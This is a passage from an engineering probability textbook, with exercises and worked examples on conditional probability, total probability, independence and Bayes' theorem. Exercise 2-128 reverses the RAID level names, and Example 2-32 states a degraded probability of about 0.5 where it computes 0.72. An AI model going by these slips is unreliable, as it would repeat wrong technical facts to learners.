EXERCISES FOR SECTION 2-4

2-87. Disks of polycarbonate plastic from a supplier are analyzed for scratch and shock resistance. The results from 100 disks are summarized as follows:

		shock resistance	
		high	low
scratch	high	70	9
resistance	low	16	5

Let A denote the event that a disk has high shock resistance, and let B denote the event that a disk has high scratch resistance. Determine the following probabilities:
(a) $P(A)$ (b) $P(B)$
(c) $P(A|B)$ (d) $P(B|A)$

2-88. Samples of skin experiencing desquamation are analyzed for both moisture and melanin content. The results from 100 skin samples are as follows:

		melanin content	
		high	low
moisture	high	13	7
content	low	48	32

Let A denote the event that a sample has low melanin content, and let B denote the event that a sample has high moisture content. Determine the following probabilities:
(a) $P(A)$ (b) $P(B)$
(c) $P(A|B)$ (d) $P(B|A)$

2-89. The analysis of results from a leaf transmutation experiment (turning a leaf into a petal) is summarized by type of transformation completed:

		total textural transformation	
		yes	no
total color transformation	yes	243	26
	no	13	18

(a) If a leaf completes the color transformation, what is the probability that it will complete the textural transformation?
(b) If a leaf does not complete the textural transformation, what is the probability it will complete the color transformation?

2-90. Samples of a cast aluminum part are classified on the basis of surface finish (in microinches) and length measurements. The results of 100 parts are summarized as follows:

		length	
		excellent	good
surface	excellent	80	2
finish	good	10	8

Let A denote the event that a sample has excellent surface finish, and let B denote the event that a sample has excellent length. Determine:
(a) $P(A)$ (b) $P(B)$
(c) $P(A|B)$ (d) $P(B|A)$
(e) If the selected part has excellent surface finish, what is the probability that the length is excellent?
(f) If the selected part has good length, what is the probability that the surface finish is excellent?

2-91. The following table summarizes the analysis of samples of galvanized steel for coating weight and surface roughness:

		coating weight	
		high	low
surface	high	12	16
roughness	low	88	34

(a) If the coating weight of a sample is high, what is the probability that the surface roughness is high?
(b) If the surface roughness of a sample is high, what is the probability that the coating weight is high?
(c) If the surface roughness of a sample is low, what is the probability that the coating weight is low?

2-92. Consider the data on wafer contamination and location in the sputtering tool shown in Table 2-2. Assume that one wafer is selected at random from this set. Let A denote the event that a wafer contains four or more particles, and let B denote the event that a wafer is from the center of the sputtering tool. Determine:
(a) $P(A)$ (b) $P(A|B)$
(c) $P(B)$ (d) $P(B|A)$
(e) $P(A \cap B)$ (f) $P(A \cup B)$

2-93. The following table summarizes the number of deceased beetles under autolysis (the destruction of a cell after its death by the action of its own enzymes) and putrefaction (decomposition of organic matter, especially protein, by microorganisms, resulting in production of foul-smelling matter):

		autolysis	
		high	low
putrefaction	high	14	59
	low	18	9

(a) If the autolysis of a sample is high, what is the probability that the putrefaction is low?
(b) If the putrefaction of a sample is high, what is the probability that the autolysis is high?
(c) If the putrefaction of a sample is low, what is the probability that the autolysis is low?

2-94. A maintenance firm has gathered the following information regarding the failure mechanisms for air conditioning systems:

		evidence of gas leaks	
		yes	no
evidence of	yes	55	17
electrical failure	no	32	3

The units without evidence of gas leaks or electrical failure showed other types of failure. If this is a representative sample of AC failure, find the probability

(a) That failure involves a gas leak
(b) That there is evidence of electrical failure given that there was a gas leak
(c) That there is evidence of a gas leak given that there is evidence of electrical failure

2-95. A lot of 100 semiconductor chips contains 20 that are defective. Two are selected randomly, without replacement, from the lot.

(a) What is the probability that the first one selected is defective?
(b) What is the probability that the second one selected is defective given that the first one was defective?
(c) What is the probability that both are defective?
(d) How does the answer to part (b) change if chips selected were replaced prior to the next selection?

2-96. A batch of 500 containers for frozen orange juice contains five that are defective. Two are selected, at random, without replacement from the batch.

(a) What is the probability that the second one selected is defective given that the first one was defective?
(b) What is the probability that both are defective?
(c) What is the probability that both are acceptable?

Three containers are selected, at random, without replacement, from the batch.

(d) What is the probability that the third one selected is defective given that the first and second ones selected were defective?
(e) What is the probability that the third one selected is defective given that the first one selected was defective and the second one selected was okay?
(f) What is the probability that all three are defective?

2-97. A batch of 350 samples of rejuvenated mitochondria contains eight that are mutated (or defective). Two are selected, at random, without replacement from the batch.

(a) What is the probability that the second one selected is defective given that the first one was defective?
(b) What is the probability that both are defective?
(c) What is the probability that both are acceptable?

2-98. A computer system uses passwords that are exactly seven characters and each character is one of the 26 letters (a–z) or 10 integers (0–9). You maintain a password for this computer system. Let A denote the subset of passwords that begin with a vowel (either a, e, i, o, or u) and let B denote the subset of passwords that end with an even number (either 0, 2, 4, 6, or 8).

(a) Suppose a hacker selects a password at random. What is the probability that your password is selected?
(b) Suppose a hacker knows your password is in event A and selects a password at random from this subset. What is the probability that your password is selected?
(c) Suppose a hacker knows your password is in A and B and selects a password at random from this subset. What is the probability that your password is selected?

2-99. If $P(A|B) = 1$, must $A = B$? Draw a Venn diagram to explain your answer.

2-100. Suppose A and B are mutually exclusive events. Construct a Venn diagram that contains the three events A, B, and C such that $P(A|C) = 1$ and $P(B|C) = 0$.

2-101. Consider the endothermic reactions in Exercise 2-50. Let A denote the event that a reaction final temperature is 271 K or less. Let B denote the event that the heat absorbed is above target. Determine the following probabilities.

(a) $P(A|B)$ (b) $P(A'|B)$
(c) $P(A|B')$ (d) $P(B|A)$

2-102. Consider the hospital emergency room data in Example 2-8. Let A denote the event that a visit is to Hospital 4 and let B denote the event that a visit results in LWBS (at any hospital). Determine the following probabilities.

(a) $P(A|B)$ (b) $P(A'|B)$
(c) $P(A|B')$ (d) $P(B|A)$

2-103. Consider the well failure data in Exercise 2-53.

(a) What is the probability of a failure given there are more than 1000 wells in a geological formation?
(b) What is the probability of a failure given there are fewer than 500 wells in a geological formation?

2-104. An article in the *The Canadian Entomologist* (Harcourt et al., 1977, Vol. 109, pp. 1521–1534) studied the life of the alfalfa weevil from eggs to adulthood. The following table shows the number of larvae that survived at each stage of development from eggs to adults.

Eggs	Early Larvae	Late Larvae	Pre-pupae	Late Pupae	Adults
421	412	306	45	35	31

(a) What is the probability an egg survives to an adult?
(b) What is the probability of survival to adult given survival to the late larvae stage?
(c) What stage has the lowest probability of survival to the next stage?

2-5 MULTIPLICATION AND TOTAL PROBABILITY RULES

The probability of the intersection of two events is often needed. The conditional probability definition in Equation 2-9 can be rewritten to provide a formula known as the **multiplication rule** for probabilities.

Multiplication Rule

$$P(A \cap B) = P(B|A)P(A) = P(A|B)P(B) \tag{2-10}$$

The last expression in Equation 2-10 is obtained by interchanging A and B.

EXAMPLE 2-26 Machining Stages

The probability that the first stage of a numerically controlled machining operation for high-rpm pistons meets specifications is 0.90. Failures are due to metal variations, fixture alignment, cutting blade condition, vibration, and ambient environmental conditions. Given that the first stage meets specifications, the probability that a second stage of machining meets specifications is 0.95. What is the probability that both stages meet specifications?

Let A and B denote the events that the first and second stages meet specifications, respectively. The probability requested is

$$P(A \cap B) = P(B|A)P(A) = 0.95(0.90) = 0.855$$

Although it is also true that $P(A \cap B) = P(A|B)P(B)$, the information provided in the problem does not match this second formulation.

Practical Interpretation: The probability that both stages meet specifications is approximately 0.85 and if additional stages were needed to complete a piston the probability would decrease further. Consequently, the probability that each stage is completed successfully needs to be large in order for a piston to meet all specifications.

Sometimes the probability of an event is given under each of several conditions. With enough of these conditional probabilities, the probability of the event can be recovered. For example, suppose that in semiconductor manufacturing the probability is 0.10 that a chip that is subjected to high levels of contamination during manufacturing causes a product failure. The probability is 0.005 that a chip that is not subjected to high contamination levels during manufacturing causes a product failure. In a particular production run, 20% of the chips are subject to high levels of contamination. What is the probability that a product using one of these chips fails?

Clearly, the requested probability depends on whether or not the chip was exposed to high levels of contamination. For any event B, we can write B as the union of the part of B in A and the part of B in A'. That is,

$$B = (A \cap B) \cup (A' \cap B)$$

This result is shown in the Venn diagram in Fig. 2-15. Because A and A' are mutually exclusive, $A \cap B$ and $A' \cap B$ are mutually exclusive. Therefore, from the probability of the union of mutually exclusive events in Equation 2-6 and the Multiplication Rule in Equation 2-10, the following **total probability rule** is obtained.

Figure 2-15 Partitioning an event into two mutually exclusive subsets.

$B = (B \cap E_1) \cup (B \cap E_2) \cup (B \cap E_3) \cup (B \cap E_4)$

Figure 2-16 Partitioning an event into several mutually exclusive subsets.

Total Probability Rule (two events)

For any events A and B,

$$P(B) = P(B \cap A) + P(B \cap A') = P(B|A)P(A) + P(B|A')P(A') \quad (2\text{-}11)$$

EXAMPLE 2-27 Semiconductor Contamination

Consider the contamination discussion at the start of this section. The information is summarized here.

Probability of Failure	Level of Contamination	Probability of Level
0.1	High	0.2
0.005	Not High	0.8

Let F denote the event that the product fails, and let H denote the event that the chip is exposed to high levels of contamination. The requested probability is $P(F)$, and the information provided can be represented as

$$P(F|H) = 0.10 \quad \text{and} \quad P(F|H') = 0.005$$
$$P(H) = 0.20 \quad \text{and} \quad P(H') = 0.80$$

From Equation 2-11,

$$P(F) = 0.10(0.20) + 0.005(0.80) = 0.024$$

which can be interpreted as just the weighted average of the two probabilities of failure.

The reasoning used to develop Equation 2-11 can be applied more generally. Because $A \cup A' = S$ we know $(A \cap B) \cup (A' \cap B)$ equals B, and because $A \cap A' = \phi$ we know $A \cap B$ and $A' \cap B$ are mutually exclusive. In general, a collection of sets $E_1, E_2, \ldots, E_k$ such that $E_1 \cup E_2 \cup \ldots \cup E_k = S$ is said to be **exhaustive.** A graphical display of partitioning an event B among a collection of mutually exclusive and exhaustive events is shown in Fig. 2-16.

Total Probability Rule (multiple events)

Assume $E_1, E_2, \ldots, E_k$ are k mutually exclusive and exhaustive sets. Then

$$\begin{aligned} P(B) &= P(B \cap E_1) + P(B \cap E_2) + \cdots + P(B \cap E_k) \\ &= P(B|E_1)P(E_1) + P(B|E_2)P(E_2) + \cdots + P(B|E_k)P(E_k) \quad (2\text{-}12) \end{aligned}$$

EXAMPLE 2-28 Semiconductor Failures

Continuing with semiconductor manufacturing, assume the following probabilities for product failure subject to levels of contamination in manufacturing:

Probability of Failure	Level of Contamination
0.10	High
0.01	Medium
0.001	Low

In a particular production run, 20% of the chips are subjected to high levels of contamination, 30% to medium levels of contamination, and 50% to low levels of contamination. What is the probability that a product using one of these chips fails? Let

H denote the event that a chip is exposed to high levels of contamination

M denote the event that a chip is exposed to medium levels of contamination

L denote the event that a chip is exposed to low levels of contamination

Then,

$$\begin{aligned} P(F) &= P(F|H)P(H) + P(F|M)P(M) + P(F|L)P(L) \\ &= 0.10(0.20) + 0.01(0.30) + 0.001(0.50) = 0.0235 \end{aligned}$$

The calculations are conveniently organized with the tree diagram in Fig. 2-17.

Figure 2-17 Tree diagram for Example 2-28.

EXERCISES FOR SECTION 2-5

2-105. Suppose that $P(A|B) = 0.4$ and $P(B) = 0.5$. Determine the following:
(a) $P(A \cap B)$
(b) $P(A' \cap B)$

2-106. Suppose that $P(A|B) = 0.2$, $P(A|B') = 0.3$, and $P(B) = 0.8$. What is $P(A)$?

2-107. The probability is 1% that an electrical connector that is kept dry fails during the warranty period of a portable computer. If the connector is ever wet, the probability of a failure during the warranty period is 5%. If 90% of the connectors are kept dry and 10% are wet, what proportion of connectors fail during the warranty period?

2-108. Suppose 2% of cotton fabric rolls and 3% of nylon fabric rolls contain flaws. Of the rolls used by a manufacturer, 70% are cotton and 30% are nylon. What is the probability that a randomly selected roll used by the manufacturer contains flaws?

2-109. The edge roughness of slit paper products increases as knife blades wear. Only 1% of products slit with new blades have rough edges, 3% of products slit with blades of average sharpness exhibit roughness, and 5% of products slit with worn blades exhibit roughness. If 25% of the blades in manufacturing are new, 60% are of average sharpness, and 15% are worn, what is the proportion of products that exhibit edge roughness?

2-110. In the 2004 presidential election, exit polls from the critical state of Ohio provided the following results:

total	Bush, 2004	Kerry, 2004
no college degree (62%)	50%	50%
college graduate (38%)	53%	46%

What is the probability a randomly selected respondent voted for Bush?

2-111. Computer keyboard failures are due to faulty electrical connects (12%) or mechanical defects (88%). Mechanical defects are related to loose keys (27%) or improper assembly (73%). Electrical connect defects are caused by defective wires (35%), improper connections (13%), or poorly welded wires (52%).
(a) Find the probability that a failure is due to loose keys.
(b) Find the probability that a failure is due to improperly connected or poorly welded wires.

2-112. Heart failures are due to either natural occurrences (87%) or outside factors (13%). Outside factors are related to induced substances (73%) or foreign objects (27%). Natural occurrences are caused by arterial blockage (56%), disease (27%), and infection (e.g., staph infection) (17%).
(a) Determine the probability that a failure is due to induced substance.
(b) Determine the probability that a failure is due to disease or infection.

2-113. A batch of 25 injection-molded parts contains five that have suffered excessive shrinkage.
(a) If two parts are selected at random, and without replacement, what is the probability that the second part selected is one with excessive shrinkage?
(b) If three parts are selected at random, and without replacement, what is the probability that the third part selected is one with excessive shrinkage?

2-114. A lot of 100 semiconductor chips contains 20 that are defective.
(a) Two are selected, at random, without replacement, from the lot. Determine the probability that the second chip selected is defective.
(b) Three are selected, at random, without replacement, from the lot. Determine the probability that all are defective.

2-115. An article in the *British Medical Journal* ["Comparison of Treatment of Renal Calculi by Operative Surgery, Percutaneous Nephrolithotomy, and Extracorporeal Shock Wave Lithotripsy" (1986, Vol. 82, pp. 879–892)] provided the following discussion of success rates in kidney stone removals. Open surgery had a success rate of 78% (273/350) while a newer method, percutaneous nephrolithotomy (PN),

had a success rate of 83% (289/350). This newer method looked better, but the results changed when stone diameter was considered. For stones with diameters less than two centimeters, 93% (81/87) of cases of open surgery were successful compared with only 83% (234/270) of cases of PN. For stones greater than or equal to two centimeters, the success rates were 73% (192/263) and 69% (55/80) for open surgery and PN, respectively. Open surgery is better for both stone sizes, but less successful in total. In 1951, E. H. Simpson pointed out this apparent contradiction (known as **Simpson's Paradox**) but the hazard still persists today. Explain how open surgery can be better for both stone sizes but worse in total.

2-116. Consider the endothermic reactions in Exercise 2-50. Let A denote the event that a reaction final temperature is 271 K or less. Let B denote the event that the heat absorbed is above target. Determine the following probabilities.

(a) $P(A \cap B)$ (b) $P(A \cup B)$ (c) $P(A' \cup B')$

(d) Use the total probability rule to determine $P(A)$

2-117. Consider the hospital emergency room data in Example 2-8. Let A denote the event that a visit is to Hospital 4 and let B denote the event that a visit results in LWBS (at any hospital). Determine the following probabilities.

(a) $P(A \cap B)$ (b) $P(A \cup B)$ (c) $P(A' \cup B')$

(d) Use the total probability rule to determine $P(A)$

2-118. Consider the hospital emergency room data in Example 2-8. Suppose that three visits that resulted in LWBS are selected randomly (without replacement) for a follow-up interview.

(a) What is the probability that all three are selected from Hospital 2?

(b) What is the probability that all three are from the same hospital?

2-119. Consider the well failure data in Exercise 2-53. Let A denote the event that the geological formation has more than 1000 wells and let B denote the event that a well failed. Determine the following probabilities.

(a) $P(A \cap B)$ (b) $P(A \cup B)$ (c) $P(A' \cup B')$

(d) Use the total probability rule to determine $P(A)$

2-120. Consider the well failure data in Exercise 2-53. Suppose that two failed wells are selected randomly (without replacement) for a follow-up review.

(a) What is the probability that both are from the gneiss geological formation group?

(b) What is the probability that both are from the same geological formation group?

2-121. A Web ad can be designed from four different colors, three font types, five font sizes, three images, and five text phrases. A specific design in randomly generated by the Web server when you visit the site. Determine the probability that the ad color is red and the font size is not the smallest one.

2-6 INDEPENDENCE

In some cases, the conditional probability of $P(B|A)$ might equal $P(B)$. In this special case, knowledge that the outcome of the experiment is in event A does not affect the probability that the outcome is in event B.

EXAMPLE 2-29 Sampling with Replacement

Suppose a day's production of 850 manufactured parts contains 50 parts that do not meet customer requirements. Suppose two parts are selected from the batch, but the first part is replaced before the second part is selected. What is the probability that the second part is defective (denoted as B) given that the first part is defective (denoted as A)? The probability needed can be expressed as $P(B|A)$.

Because the first part is replaced prior to selecting the second part, the batch still contains 850 parts, of which 50 are defective. Therefore, the probability of B does not depend on whether or not the first part was defective. That is,

$$P(B|A) = 50/850$$

Also, the probability that both parts are defective is

$$P(A \cap B) = P(B|A)P(A) = \left(\frac{50}{850}\right) \cdot \left(\frac{50}{850}\right) = 0.0035$$

EXAMPLE 2-30 Flaws and Functions

The information in Table 2-3 related surface flaws to functionally defective parts. In that case, we determined that $P(D|F) = 10/40 = 0.25$ and $P(D) = 28/400 = 0.07$. Suppose that the situation is different and follows Table 2-4. Then,

$$P(D|F) = 2/40 = 0.05 \qquad \text{and} \qquad P(D) = 20/400 = 0.05$$

That is, the probability that the part is defective does not depend on whether it has surface flaws. Also,

$$P(F|D) = 2/20 = 0.10 \qquad \text{and} \qquad P(F) = 40/400 = 0.10$$

so the probability of a surface flaw does not depend on whether the part is defective. Furthermore, the definition of conditional probability implies that

$$P(F \cap D) = P(D|F)P(F)$$

but in the special case of this problem,

$$P(F \cap D) = P(D)P(F) = \frac{2}{40} \cdot \frac{2}{20} = \frac{1}{200}$$

Table 2-4 Parts Classified

		Surface Flaws		
		Yes (event F)	No	Total
Defective	Yes (event D)	2	18	20
	No	38	342	380
	Total	40	360	400

The preceding example illustrates the following conclusions. In the special case that $P(B \mid A) = P(B)$, we obtain

$$P(A \cap B) = P(B|A)P(A) = P(B)P(A)$$

and

$$P(A|B) = \frac{P(A \cap B)}{P(B)} = \frac{P(A)P(B)}{P(B)} = P(A)$$

These conclusions lead to an important definition.

Independence (two events)

Two events are **independent** if any one of the following equivalent statements is true:

(1) $P(A|B) = P(A)$

(2) $P(B|A) = P(B)$

(3) $P(A \cap B) = P(A)P(B)$ (2-13)

It is left as a mind-expanding exercise to show that independence implies related results such as

$$P(A' \cap B') = P(A')P(B')$$

The concept of independence is an important relationship between events and is used throughout this text. A mutually exclusive relationship between two events is based only on the outcomes that comprise the events. However, an independence relationship depends on the probability model used for the random experiment. Often, independence is assumed to be part of the random experiment that describes the physical system under study.

EXAMPLE 2-31

A day's production of 850 manufactured parts contains 50 parts that do not meet customer requirements. Two parts are selected at random, without replacement, from the batch. Let A denote the event that the first part is defective, and let B denote the event that the second part is defective.

We suspect that these two events are not independent because knowledge that the first part is defective suggests that it is less likely that the second part selected is defective. Indeed, $P(B|A) = 49/849$. Now, what is $P(B)$? Finding the unconditional $P(B)$ is somewhat difficult because the possible values of the first selection need to be considered:

$$\begin{aligned} P(B) &= P(B|A)P(A) + P(B|A')P(A') \\ &= (49/849)(50/850) + (50/849)(800/850) \\ &= 50/850 \end{aligned}$$

Interestingly, $P(B)$, the unconditional probability that the second part selected is defective, without any knowledge of the first part, is the same as the probability that the first part selected is defective. Yet, our goal is to assess independence. Because $P(B|A)$ does not equal $P(B)$, the two events are not independent, as we suspected.

When considering three or more events, we can extend the definition of independence with the following general result.

Independence (multiple events)

The events $E_1, E_2, \ldots, E_n$ are independent if and only if for any subset of these events $E_{i_1}, E_{i_2}, \ldots, E_{i_k}$,

$$P(E_{i_1} \cap E_{i_2} \cap \cdots \cap E_{i_k}) = P(E_{i_1}) \times P(E_{i_2}) \times \cdots \times P(E_{i_k}) \qquad (2\text{-}14)$$

This definition is typically used to calculate the probability that several events occur assuming that they are independent and the individual event probabilities are known. The knowledge that the events are independent usually comes from a fundamental understanding of the random experiment.

EXAMPLE 2-32 Series Circuit

The following circuit operates only if there is a path of functional devices from left to right. The probability that each device functions is shown on the graph. Assume that devices fail independently. What is the probability that the circuit operates?

Let L and R denote the events that the left and right devices operate, respectively. There is only a path if both operate. The probability the circuit operates is

$$P(L \text{ and } R) = P(L \cap R) = P(L)P(R) = 0.80(0.90) = 0.72$$

Practical Interpretation: Notice that the probability that the circuit operates degrades to approximately 0.5 when all devices are required to be functional. The probability each device is functional needs to be large for a circuit to operate when many devices are connected in series.

EXAMPLE 2-33

Assume that the probability that a wafer contains a large particle of contamination is 0.01 and that the wafers are independent; that is, the probability that a wafer contains a large particle is not dependent on the characteristics of any of the other wafers. If 15 wafers are analyzed, what is the probability that no large particles are found?

Let E_i denote the event that the ith wafer contains no large particles, $i = 1, 2, \ldots, 15$. Then, $P(E_i) = 0.99$. The probability requested can be represented as $P(E_1 \cap E_2 \cap \cdots \cap E_{15})$. From the independence assumption and Equation 2-14,

$$P(E_1 \cap E_2 \cap \cdots \cap E_{15}) = P(E_1) \times P(E_2) \times \cdots \times P(E_{15}) = 0.99^{15} = 0.86$$

EXAMPLE 2-34 Parallel Circuit

The following circuit operates only if there is a path of functional devices from left to right. The probability that each device functions is shown on the graph. Assume that devices fail independently. What is the probability that the circuit operates?

Let T and B denote the events that the top and bottom devices operate, respectively. There is a path if at least one device operates. The probability that the circuit operates is

$$P(T \text{ or } B) = 1 - P[(T \text{ or } B)'] = 1 - P(T' \text{ and } B')$$

A simple formula for the solution can be derived from the complements T' and B'. From the independence assumption,

$$P(T' \text{ and } B') = P(T')P(B') = (1 - 0.95)^2 = 0.05^2$$

so

$$P(T \text{ or } B) = 1 - 0.05^2 = 0.9975$$

Practical Interpretation: Notice that the probability that the circuit operates is larger than the probability that either device is functional. This is an advantage of a parallel architecture. A disadvantage is that multiple devices are needed.

EXAMPLE 2-35 Advanced Circuit

The following circuit operates only if there is a path of functional devices from left to right. The probability that each device functions is shown on the graph. Assume that devices fail independently. What is the probability that the circuit operates?

The solution can be obtained from a partition of the graph into three columns. Let L denote the event that there is a path of functional devices only through the three units on the left. From the independence and based upon the previous example,

$$P(L) = 1 - 0.1^3$$

Similarly, let M denote the event that there is a path of functional devices only through the two units in the middle. Then,

$$P(M) = 1 - 0.05^2$$

The probability that there is a path of functional devices only through the one unit on the right is simply the probability that the device functions, namely, 0.99. Therefore, with the independence assumption used again, the solution is

$$(1 - 0.1^3)(1 - 0.05^2)(0.99) = 0.987$$

EXERCISES FOR SECTION 2-6

2-122. If $P(A|B) = 0.4$, $P(B) = 0.8$, and $P(A) = 0.5$, are the events A and B independent?

2-123. If $P(A|B) = 0.3$, $P(B) = 0.8$, and $P(A) = 0.3$, are the events B and the complement of A independent?

2-124. If $P(A) = 0.2$, $P(B) = 0.2$, and A and B are mutually exclusive, are they independent?

2-125. A batch of 500 containers for frozen orange juice contains five that are defective. Two are selected, at random, without replacement, from the batch. Let A and B denote the events that the first and second containers selected are defective, respectively.
(a) Are A and B independent events?
(b) If the sampling were done with replacement, would A and B be independent?

2-126. Disks of polycarbonate plastic from a supplier are analyzed for scratch and shock resistance. The results from 100 disks are summarized as follows:

		shock resistance	
		high	low
scratch	high	70	9
resistance	low	16	5

Let A denote the event that a disk has high shock resistance, and let B denote the event that a disk has high scratch resistance. Are events A and B independent?

2-127. Samples of emissions from three suppliers are classified for conformance to air-quality specifications. The results from 100 samples are summarized as follows:

		conforms	
		yes	no
	1	22	8
supplier	2	25	5
	3	30	10

Let A denote the event that a sample is from supplier 1, and let B denote the event that a sample conforms to specifications.
(a) Are events A and B independent?
(b) Determine $P(B|A)$.

2-128. Redundant Array of Inexpensive Disks (RAID) is a technology that uses multiple hard drives to increase the speed of data transfer and provide instant data backup. Suppose that the probability of any hard drive failing in a day is 0.001 and the drive failures are independent.
(a) A RAID 0 scheme uses two hard drives, each containing a mirror image of the other. What is the probability of data loss? Assume that data loss occurs if both drives fail within the same day.
(b) A RAID 1 scheme splits the data over two hard drives. What is the probability of data loss? Assume that data loss occurs if at least one drive fails within the same day.

2-129. The probability that a lab specimen contains high levels of contamination is 0.10. Five samples are checked, and the samples are independent.

(a) What is the probability that none contains high levels of contamination?

(b) What is the probability that exactly one contains high levels of contamination?

(c) What is the probability that at least one contains high levels of contamination?

2-130. In a test of a printed circuit board using a random test pattern, an array of 10 bits is equally likely to be 0 or 1. Assume the bits are independent.

(a) What is the probability that all bits are 1s?

(b) What is the probability that all bits are 0s?

(c) What is the probability that exactly five bits are 1s and five bits are 0s?

2-131. Six tissues are extracted from an ivy plant infested by spider mites. The plant in infested in 20% of its area. Each tissue is chosen from a randomly selected area on the ivy plant.

(a) What is the probability that four successive samples show the signs of infestation?

(b) What is the probability that three out of four successive samples show the signs of infestation?

2-132. A player of a video game is confronted with a series of four opponents and an 80% probability of defeating each opponent. Assume that the results from opponents are independent (and that when the player is defeated by an opponent the game ends).

(a) What is the probability that a player defeats all four opponents in a game?

(b) What is the probability that a player defeats at least two opponents in a game?

(c) If the game is played three times, what is the probability that the player defeats all four opponents at least once?

2-133. In an acid-base titration, a base or acid is gradually added to the other until they have completely neutralized each other. Since acids and bases are usually colorless (as are the water and salt produced in the neutralization reaction), pH is measured to monitor the reaction. Suppose that the equivalence point is reached after approximately 100 mL of a NaOH solution has been added (enough to react with all the acetic acid present) but that replicates are equally likely to indicate from 95 to 104 mL, measured to the nearest mL. Assume that two technicians each conduct titrations independently.

(a) What is the probability that both technicians obtain equivalence at 100 mL?

(b) What is the probability that both technicians obtain equivalence between 98 and 104 mL (inclusive)?

(c) What is the probability that the average volume at equivalence from the technicians is 100 mL?

2-134. A credit card contains 16 digits. It also contains a month and year of expiration. Suppose there are one million credit card holders with unique card numbers. A hacker randomly selects a 16-digit credit card number.

(a) What is the probability that it belongs to a user?

(b) Suppose a hacker has a 25% chance of correctly guessing the year your card expires and randomly selects one of the 12 months. What is the probability that the hacker correctly selects the month and year of expiration?

2-135. Eight cavities in an injection-molding tool produce plastic connectors that fall into a common stream. A sample is chosen every several minutes. Assume that the samples are independent.

(a) What is the probability that five successive samples were all produced in cavity one of the mold?

(b) What is the probability that five successive samples were all produced in the same cavity of the mold?

(c) What is the probability that four out of five successive samples were produced in cavity one of the mold?

2-136. The following circuit operates if and only if there is a path of functional devices from left to right. The probability that each device functions is as shown. Assume that the probability that a device is functional does not depend on whether or not other devices are functional. What is the probability that the circuit operates?

2-137. The following circuit operates if and only if there is a path of functional devices from left to right. The probability each device functions is as shown. Assume that the probability that a device functions does not depend on whether or not other devices are functional. What is the probability that the circuit operates?

2-138. Consider the endothermic reactions in Exercise 2-50. Let A denote the event that a reaction final temperature is 271 K or less. Let B denote the event that the heat absorbed is above target. Are these events independent?

2-139. Consider the hospital emergency room data in Example 2-8. Let A denote the event that a visit is to Hospital 4 and let B denote the event that a visit results in LWBS (at any hospital). Are these events independent?

2-140. Consider the well failure data in Exercise 2-53. Let A denote the event that the geological formation has more than 1000 wells and let B denote the event that a well failed. Are these events independent?

2-141. A Web ad can be designed from four different colors, three font types, five font sizes, three images, and five text phrases. A specific design is randomly generated by the Web server when you visit the site. Let A denote the event that the design color is red and Let B denote the event that the font size is not the smallest one. Are A and B independent events? Explain why or why not.

2-7 BAYES' THEOREM

The examples in this chapter indicate that information is often presented in terms of conditional probabilities. These conditional probabilities commonly provide the probability of an event (such as failure) given a condition (such as high or low contamination). But after a random experiment generates an outcome, we are naturally interested in the probability that a condition was present (high contamination) given an outcome (a semiconductor failure). Thomas Bayes addressed this essential question in the 1700s and developed the fundamental result known as **Bayes' theorem.** Do not let the simplicity of the mathematics conceal the importance. There is extensive interest in such probabilities in modern statistical analysis.

From the definition of conditional probability,

$$P(A \cap B) = P(A|B)P(B) = P(B \cap A) = P(B|A)P(A)$$

Now, considering the second and last terms in the expression above, we can write

$$P(A|B) = \frac{P(B|A)P(A)}{P(B)} \quad \text{for} \quad P(B) > 0 \tag{2-15}$$

This is a useful result that enables us to solve for $P(A|B)$ in terms of $P(B|A)$.

EXAMPLE 2-36

Reconsider Example 2-27. The conditional probability a high level of contamination was present when a failure occurred is to be determined. The information from Example 2-27 is summarized here.

Probability of Failure	Level of Contamination	Probability of Level
0.1	High	0.2
0.005	Not High	0.8

The probability of $P(H|F)$ is determined from

$$P(H|F) = \frac{P(F|H)P(H)}{P(F)} = \frac{0.10(0.20)}{0.024} = 0.83$$

The value of $P(F)$ in the denominator of our solution was found from $P(F) = P(F|H)P(H) + P(F|H')P(H')$.

In general, if $P(B)$ in the denominator of Equation 2-15 is written using the Total Probability Rule in Equation 2-12, we obtain the following general result, which is known as **Bayes' Theorem.**

Bayes' Theorem

If $E_1, E_2, \ldots, E_k$ are k mutually exclusive and exhaustive events and B is any event,

$$P(E_1|B) = \frac{P(B|E_1)P(E_1)}{P(B|E_1)P(E_1) + P(B|E_2)P(E_2) + \cdots + P(B|E_k)P(E_k)} \quad \text{for } P(B) > 0 \tag{2-16}$$

Notice that the numerator always equals one of the terms in the sum in the denominator.

EXAMPLE 2-37 Medical Diagnostic

Because a new medical procedure has been shown to be effective in the early detection of an illness, a medical screening of the population is proposed. The probability that the test correctly identifies someone with the illness as positive is 0.99, and the probability that the test correctly identifies someone without the illness as negative is 0.95. The incidence of the illness in the general population is 0.0001. You take the test, and the result is positive. What is the probability that you have the illness?

Let D denote the event that you have the illness, and let S denote the event that the test signals positive. The probability requested can be denoted as $P(D|S)$. The probability that the test correctly signals someone without the illness as negative is 0.95. Consequently, the probability of a positive test without the illness is

$$P(S|D') = 0.05$$

From Bayes' Theorem,

$$\begin{aligned} P(D|S) &= P(S|D)P(D)/[P(S|D)P(D) + P(S|D')P(D')] \\ &= 0.99(0.0001)/[0.99(0.0001) + 0.05(1 - 0.0001)] \\ &= 1/506 = 0.002 \end{aligned}$$

Practical Interpretation: The probability of you having the illness given a positive result from the test is only 0.002. Surprisingly, even though the test is effective, in the sense that $P(S|D)$ is high and $P(S|D')$ is low, because the incidence of the illness in the general population is low, the chances are quite small that you actually have the disease even if the test is positive.

EXAMPLE 2-38 Bayesian Network

Bayesian networks are used on the Web sites of high-technology manufacturers to allow customers to quickly diagnose problems with products. An oversimplified example is presented here. A printer manufacturer obtained the following probabilities from a database of test results. Printer failures are associated with three types of problems: hardware, software, and other (such as connectors), with probabilities 0.1, 0.6, and 0.3, respectively. The probability of a printer failure given a hardware problem is 0.9, given a software problem is 0.2, and given any other type of problem is 0.5. If a customer enters the manufacturer's Web site to diagnose a printer failure, what is the most likely cause of the problem?

Let the events H, S, and O denote a hardware, software, or other problem, respectively, and let F denote a printer failure. The most likely cause of the problem is the one that corresponds to the largest of $P(H|F)$, $P(S|F)$, and $P(O|F)$. In Bayes' Theorem the denominator is

$$\begin{aligned} P(F) &= P(F|H)P(H) + P(F|S)P(S) + P(F|O)P(O) \\ &= 0.9(0.1) + 0.2(0.6) + 0.5(0.3) = 0.36 \end{aligned}$$

Then,

$$P(H|F) = P(F|H)P(H)/P(F) = 0.9(0.1)/0.36 = 0.250$$

$$P(S|F) = P(F|S)P(S)/P(F) = 0.2(0.6)/0.36 = 0.333$$

$$P(O|F) = P(F|O)P(O)/P(F) = 0.5(0.3)/0.36 = 0.417$$

